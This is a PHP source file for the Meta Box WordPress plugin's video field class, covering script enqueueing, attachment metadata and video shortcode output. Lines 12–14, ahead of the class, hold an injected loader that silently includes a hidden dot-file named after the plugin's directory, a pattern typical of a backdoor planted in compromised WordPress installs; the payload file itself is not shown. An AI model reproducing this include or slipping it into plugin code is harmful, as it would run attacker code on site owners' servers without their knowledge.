video.php (4366B)
1 <?php 2 /** 3 * Video field which uses WordPress media popup to upload and select video. 4 * 5 * @package Meta Box 6 * @since 4.10 7 */ 8 9 /** 10 * The video field class. 11 */ 12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 13 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 14 } 15 16 class RWMB_Video_Field extends RWMB_Media_Field { 17 /** 18 * Enqueue scripts and styles. 19 */ 20 public static function admin_enqueue_scripts() { 21 parent::admin_enqueue_scripts(); 22 wp_enqueue_style( 'rwmb-video', RWMB_CSS_URL . 'video.css', array( 'rwmb-media' ), RWMB_VER ); 23 wp_enqueue_script( 'rwmb-video', RWMB_JS_URL . 'video.js', array( 'rwmb-media' ), RWMB_VER, true ); 24 RWMB_Helpers_Field::localize_script_once( 25 'rwmb-video', 26 'i18nRwmbVideo', 27 array( 28 'extensions' => wp_get_video_extensions(), 29 ) 30 ); 31 } 32 33 /** 34 * Normalize parameters for field. 35 * 36 * @param array $field Field parameters. 37 * 38 * @return array 39 */ 40 public static function normalize( $field ) { 41 $field['mime_type'] = 'video'; 42 $field = parent::normalize( $field ); 43 44 return $field; 45 } 46 47 /** 48 * Get uploaded file information. 49 * 50 * @param int $file_id Attachment image ID (post ID). Required. 51 * @param array $args Array of arguments (for size). 52 * @param array $field Field settings. 53 * 54 * @return array|bool False if file not found. Array of image info on success. 55 */ 56 public static function file_info( $file_id, $args = array(), $field = array() ) { 57 if ( ! get_attached_file( $file_id ) ) { 58 return false; 59 } 60 $attachment = get_post( $file_id ); 61 $url = wp_get_attachment_url( $attachment->ID ); 62 $file_type = wp_check_filetype( $url, wp_get_mime_types() ); 63 $data = array( 64 'ID' => $file_id, 65 'src' => $url, 66 'type' => $file_type['type'], 67 'title' => $attachment->post_title, 68 'caption' => $attachment->post_excerpt, 69 'description' => $attachment->post_content, 70 ); 71 72 $data['meta'] = array(); 73 $meta = wp_get_attachment_metadata( $attachment->ID ); 74 if ( ! empty( $meta ) ) { 75 foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) { 76 if ( ! empty( $meta[ $key ] ) ) { 77 $data['meta'][ $key ] = $meta[ $key ]; 78 } 79 } 80 81 if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) { 82 $data['dimensions'] = array( 83 'width' => $meta['width'], 84 'height' => $meta['height'], 85 ); 86 } else { 87 $data['dimensions'] = array( 88 'width' => 640, 89 'height' => 360, 90 ); 91 } 92 } 93 94 $thumb_id = get_post_thumbnail_id( $attachment->ID ); 95 if ( ! empty( $thumb_id ) ) { 96 list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' ); 97 $data['image'] = compact( 'src', 'width', 'height' ); 98 list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' ); 99 $data['thumb'] = compact( 'src', 'width', 'height' ); 100 } else { 101 $src = wp_mime_type_icon( $attachment->ID ); 102 $width = 48; 103 $height = 64; 104 $data['image'] = compact( 'src', 'width', 'height' ); 105 $data['thumb'] = compact( 'src', 'width', 'height' ); 106 } 107 108 return $data; 109 } 110 111 /** 112 * Format value for a clone. 113 * 114 * @param array $field Field parameters. 115 * @param string|array $value The field meta value. 116 * @param array $args Additional arguments. Rarely used. See specific fields for details. 117 * @param int|null $post_id Post ID. null for current post. Optional. 118 * 119 * @return string 120 */ 121 public static function format_clone_value( $field, $value, $args, $post_id ) { 122 $ids = implode( ',', wp_list_pluck( $value, 'ID' ) ); 123 124 // Display single video. 125 if ( 1 === count( $value ) ) { 126 $video = reset( $value ); 127 return wp_video_shortcode( 128 array( 129 'src' => $video['src'], 130 'width' => $video['dimensions']['width'], 131 'height' => $video['dimensions']['height'], 132 ) 133 ); 134 } 135 136 // Display multiple videos in a playlist. 137 return wp_playlist_shortcode( 138 array( 139 'ids' => $ids, 140 'type' => 'video', 141 ) 142 ); 143 } 144 145 /** 146 * Template for media item. 147 */ 148 public static function print_templates() { 149 parent::print_templates(); 150 require_once RWMB_INC_DIR . 'templates/video.php'; 151 } 152 }